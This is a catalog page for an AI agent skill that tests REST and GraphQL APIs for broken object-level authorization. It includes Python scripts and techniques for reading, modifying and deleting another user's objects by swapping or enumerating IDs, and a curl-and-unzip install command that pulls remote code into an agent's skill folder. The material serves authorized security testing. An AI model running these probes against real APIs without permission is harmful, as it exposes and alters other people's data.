testing-api-for-broken-object-level-authorization
Assesses APIs for Broken Object Level Authorization (BOLA) by testing identifier access controls.
Install
mkdir -p .claude/skills/testing-api-for-broken-object-level-authorization && curl -L -o skill.zip "https://agentskills.codes/api/skills/download/11324" && unzip -o skill.zip -d .claude/skills/testing-api-for-broken-object-level-authorization && rm skill.zipInstalls to .claude/skills/testing-api-for-broken-object-level-authorization
Activation
This is the description your AI agent reads to decide when to run this skill — the better it matches your request, the more reliably it fires.
Tests REST and GraphQL APIs for Broken Object Level Authorization (BOLA/IDOR)Key capabilities
- →Intercept API calls
- →Identify object ID parameters
- →Replace IDs to test authorization
- →Validate per-object access control
- →Detect horizontal privilege escalation
How it works
The skill intercepts API traffic to identify object identifiers and systematically substitutes them with IDs belonging to other users to verify if the server enforces per-object access controls.
Inputs & outputs
When to use testing-api-for-broken-object-level-authorization
- →Test API authorization
- →Identify IDOR vulnerabilities
- →Assess API security risks
- →Validate multi-tenant access
About this skill
Testing API for Broken Object Level Authorization
When to Use
- Assessing REST or GraphQL APIs that use object identifiers in URL paths, query parameters, or request bodies
- Performing OWASP API Security Top 10 assessments where API1:2023 (BOLA) must be tested
- Testing multi-tenant SaaS applications where users from different tenants should not access each other's data
- Validating that API endpoints enforce per-object authorization checks beyond just authentication
- Evaluating APIs after new endpoints are added to ensure authorization middleware is applied consistently
Do not use without written authorization from the API owner. BOLA testing involves accessing or attempting to access other users' data, which requires explicit permission.
Prerequisites
- Written authorization specifying the target API endpoints and scope of testing
- At least two test accounts with different privilege levels and distinct data sets
- Burp Suite Professional or OWASP ZAP configured as an intercepting proxy
- Authentication tokens (JWT, session cookies, API keys) for each test account
- API documentation (OpenAPI/Swagger spec) or access to enumerate endpoints
- Python 3.10+ with
requestslibrary for scripted testing - Autorize Burp extension installed for automated BOLA detection
Workflow
Step 1: API Endpoint Discovery and Object ID Mapping
Enumerate all API endpoints and identify parameters that reference objects:
From OpenAPI/Swagger Specification:
# Download and parse the OpenAPI spec
curl -s https://target-api.example.com/api/docs/swagger.json | python3 -m json.tool
# Extract all endpoints with path parameters
curl -s https://target-api.example.com/api/docs/swagger.json | \
python3 -c "
import json, sys
spec = json.load(sys.stdin)
for path, methods in spec.get('paths', {}).items():
for method, details in methods.items():
if method in ('get','post','put','patch','delete'):
params = [p['name'] for p in details.get('parameters',[]) if p.get('in') in ('path','query')]
if params:
print(f'{method.upper()} {path} -> params: {params}')
"
From Burp Suite Traffic:
- Browse the application as User A, exercising all features that involve data creation and retrieval
- In Burp, go to Target > Site Map and filter for API paths (e.g.,
/api/v1/,/graphql) - Look for patterns:
/api/v1/users/{id},/api/v1/orders/{order_id},/api/v1/documents/{doc_uuid} - Note the object ID format: sequential integers (predictable), UUIDs (less predictable), or encoded values
Classify Object ID Types:
| ID Type | Example | Predictability | BOLA Risk |
|---|---|---|---|
| Sequential Integer | /orders/1042 | High - increment/decrement | Critical |
| UUID v4 | /orders/550e8400-e29b-41d4-a716-446655440000 | Low - random | Medium (if leaked) |
| Encoded/Hashed | /orders/base64encodedvalue | Medium - decode and predict | High |
| Composite | /users/42/orders/1042 | High - multiple IDs to swap | Critical |
| Slug | /profiles/john-doe | Medium - guess usernames | High |
Step 2: Baseline Request Capture with Authenticated User
Capture legitimate requests for User A and User B:
import requests
BASE_URL = "https://target-api.example.com/api/v1"
# User A credentials
user_a_token = "Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
user_a_headers = {"Authorization": user_a_token, "Content-Type": "application/json"}
# User B credentials
user_b_token = "Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
user_b_headers = {"Authorization": user_b_token, "Content-Type": "application/json"}
# Step 1: Identify User A's objects
user_a_profile = requests.get(f"{BASE_URL}/users/me", headers=user_a_headers)
user_a_id = user_a_profile.json()["id"] # e.g., 1001
user_a_orders = requests.get(f"{BASE_URL}/users/{user_a_id}/orders", headers=user_a_headers)
user_a_order_ids = [o["id"] for o in user_a_orders.json()["orders"]] # e.g., [5001, 5002]
# Step 2: Identify User B's objects
user_b_profile = requests.get(f"{BASE_URL}/users/me", headers=user_b_headers)
user_b_id = user_b_profile.json()["id"] # e.g., 1002
user_b_orders = requests.get(f"{BASE_URL}/users/{user_b_id}/orders", headers=user_b_headers)
user_b_order_ids = [o["id"] for o in user_b_orders.json()["orders"]] # e.g., [5003, 5004]
print(f"User A (ID: {user_a_id}): Orders {user_a_order_ids}")
print(f"User B (ID: {user_b_id}): Orders {user_b_order_ids}")
Step 3: BOLA Testing - Horizontal Privilege Escalation
Attempt to access User B's objects using User A's authentication:
import json
results = []
# Test 1: Access User B's profile with User A's token
resp = requests.get(f"{BASE_URL}/users/{user_b_id}", headers=user_a_headers)
results.append({
"test": "Access other user profile",
"endpoint": f"GET /users/{user_b_id}",
"auth": "User A",
"status": resp.status_code,
"vulnerable": resp.status_code == 200,
"data_leaked": list(resp.json().keys()) if resp.status_code == 200 else None
})
# Test 2: Access User B's orders with User A's token
for order_id in user_b_order_ids:
resp = requests.get(f"{BASE_URL}/orders/{order_id}", headers=user_a_headers)
results.append({
"test": f"Access other user order {order_id}",
"endpoint": f"GET /orders/{order_id}",
"auth": "User A",
"status": resp.status_code,
"vulnerable": resp.status_code == 200
})
# Test 3: Modify User B's order with User A's token
resp = requests.patch(
f"{BASE_URL}/orders/{user_b_order_ids[0]}",
headers=user_a_headers,
json={"status": "cancelled"}
)
results.append({
"test": "Modify other user order",
"endpoint": f"PATCH /orders/{user_b_order_ids[0]}",
"auth": "User A",
"status": resp.status_code,
"vulnerable": resp.status_code in (200, 204)
})
# Test 4: Delete User B's resource with User A's token
resp = requests.delete(f"{BASE_URL}/orders/{user_b_order_ids[0]}", headers=user_a_headers)
results.append({
"test": "Delete other user order",
"endpoint": f"DELETE /orders/{user_b_order_ids[0]}",
"auth": "User A",
"status": resp.status_code,
"vulnerable": resp.status_code in (200, 204)
})
# Print results
for r in results:
status = "VULNERABLE" if r["vulnerable"] else "SECURE"
print(f"[{status}] {r['test']}: {r['endpoint']} -> HTTP {r['status']}")
Step 4: Advanced BOLA Techniques
Test for less obvious BOLA patterns:
# Technique 1: Parameter pollution - send both IDs
resp = requests.get(
f"{BASE_URL}/orders/{user_a_order_ids[0]}?order_id={user_b_order_ids[0]}",
headers=user_a_headers
)
print(f"Parameter pollution: {resp.status_code}")
# Technique 2: JSON body object ID override
resp = requests.post(
f"{BASE_URL}/orders/details",
headers=user_a_headers,
json={"order_id": user_b_order_ids[0]}
)
print(f"Body ID override: {resp.status_code}")
# Technique 3: Array of IDs - include other user's IDs in batch request
resp = requests.post(
f"{BASE_URL}/orders/batch",
headers=user_a_headers,
json={"order_ids": user_a_order_ids + user_b_order_ids}
)
print(f"Batch ID inclusion: {resp.status_code}, returned {len(resp.json().get('orders',[]))} orders")
# Technique 4: Numeric ID manipulation for sequential IDs
for offset in range(-5, 6):
test_id = user_a_order_ids[0] + offset
if test_id not in user_a_order_ids:
resp = requests.get(f"{BASE_URL}/orders/{test_id}", headers=user_a_headers)
if resp.status_code == 200:
owner = resp.json().get("user_id", "unknown")
if str(owner) != str(user_a_id):
print(f"BOLA: Order {test_id} belongs to user {owner}, accessible by User A")
# Technique 5: Swap object ID in nested resource paths
resp = requests.get(
f"{BASE_URL}/users/{user_b_id}/orders/{user_b_order_ids[0]}/invoice",
headers=user_a_headers
)
print(f"Nested resource BOLA: {resp.status_code}")
# Technique 6: Method switching - GET may be blocked but PUT allowed
for method in ['GET', 'PUT', 'PATCH', 'DELETE', 'HEAD', 'OPTIONS']:
resp = requests.request(
method,
f"{BASE_URL}/users/{user_b_id}/settings",
headers=user_a_headers,
json={"notifications": False} if method in ('PUT', 'PATCH') else None
)
if resp.status_code not in (401, 403, 405):
print(f"Method {method} on other user settings: {resp.status_code}")
Step 5: Automated BOLA Detection with Autorize (Burp Suite)
Configure Autorize for automated detection:
- Install Autorize from the BApp Store in Burp Suite Professional
- In the Autorize tab, paste User B's authentication cookie or header
- Configure the interception filters:
- Include:
.*\/api\/.*(only API paths) - Exclude:
.*\.(js|css|png|jpg)$(skip static assets)
- Include:
- Set the enforcement detector:
- Add conditions where response length or status code differs between User A and User B
- Mark as "enforced" if User A gets 403/401 for User B's resources
- Mark as "bypassed" if User A gets 200 with User B's data
- Browse the application as User A; Autorize automatically replays each request with User B's token
- Review the Autorize results table:
- Green = Authorization enforced (secure)
- Red = Authorization bypassed (BOLA vulnerability)
- Orange = Needs manual review (ambiguous response)
Step 6: GraphQL BOLA Testing
# Test BOLA in GraphQL queries using node/ID relay pattern
# User A queries User B's order by global relay ID
query {
node(id: "T3JkZXI6NTAwMw==") { # Base64 of "Order:5003" (User B's)
... on Order {
id
totalAmount
shippingAddress {
street
city
}
items {
productName
quantity
}
}
}
}
# Test nested object access through relationships
query {
user(id: "1002") { # User B's ID
email
phoneNumber
orders {
edges {
n
---
*Content truncated.*
When not to use it
- →Without written authorization from the API owner
Prerequisites
Limitations
- →Does not test nested resource paths
- →May miss BOLA in bulk/batch endpoints
- →Requires manual verification of authorization logic
How it compares
Unlike manual testing, this skill systematically maps object IDs and automates the substitution process to identify authorization bypasses across multiple endpoints.
Compared to similar skills
testing-api-for-broken-object-level-authorization side by side with the closest alternatives in the catalog.
| Skill | Installs | Updated | Safety | Difficulty |
|---|---|---|---|---|
| testing-api-for-broken-object-level-authorization (this skill) | 0 | 2mo | Review | Advanced |
| codebase-cleanup-deps-audit | 2 | 4mo | No flags | Intermediate |
| security-audit | 0 | 2mo | No flags | Advanced |
| qa-security | 0 | 1mo | Review | Intermediate |
Try saying
Example prompts that trigger this skill in your AI assistant.
More by mukul975
View all by mukul975 →You might also like
codebase-cleanup-deps-audit
sickn33
You are a dependency security expert specializing in vulnerability scanning, license compliance, and supply chain security. Analyze project dependencies for known vulnerabilities, licensing issues, outdated packages, and provide actionable remediation strategies.
security-audit
hiroshiyui
Perform a project-wide security and safety audit of the 5thPlanet workspace.
qa-security
christopherlouet
Perform a security audit based on OWASP. Use when the user wants to verify security, look for vulnerabilities, or before a production deployment.
dependency-audit
hadsie
Audit Python dependencies for vulnerabilities, outdated
contrib-pr-review
homeassistant-ai
Review a contribution PR for safety, quality, and readiness. Checks for security concerns, test coverage, size appropriateness, and intent alignment. Use when reviewing external contributions.
rank-audit
Houseofmvps
Full SEO/GEO/AEO/Citability/Content/Performance/Vertical/Security audit with auto-fix. Scans, reports, fixes, and verifies.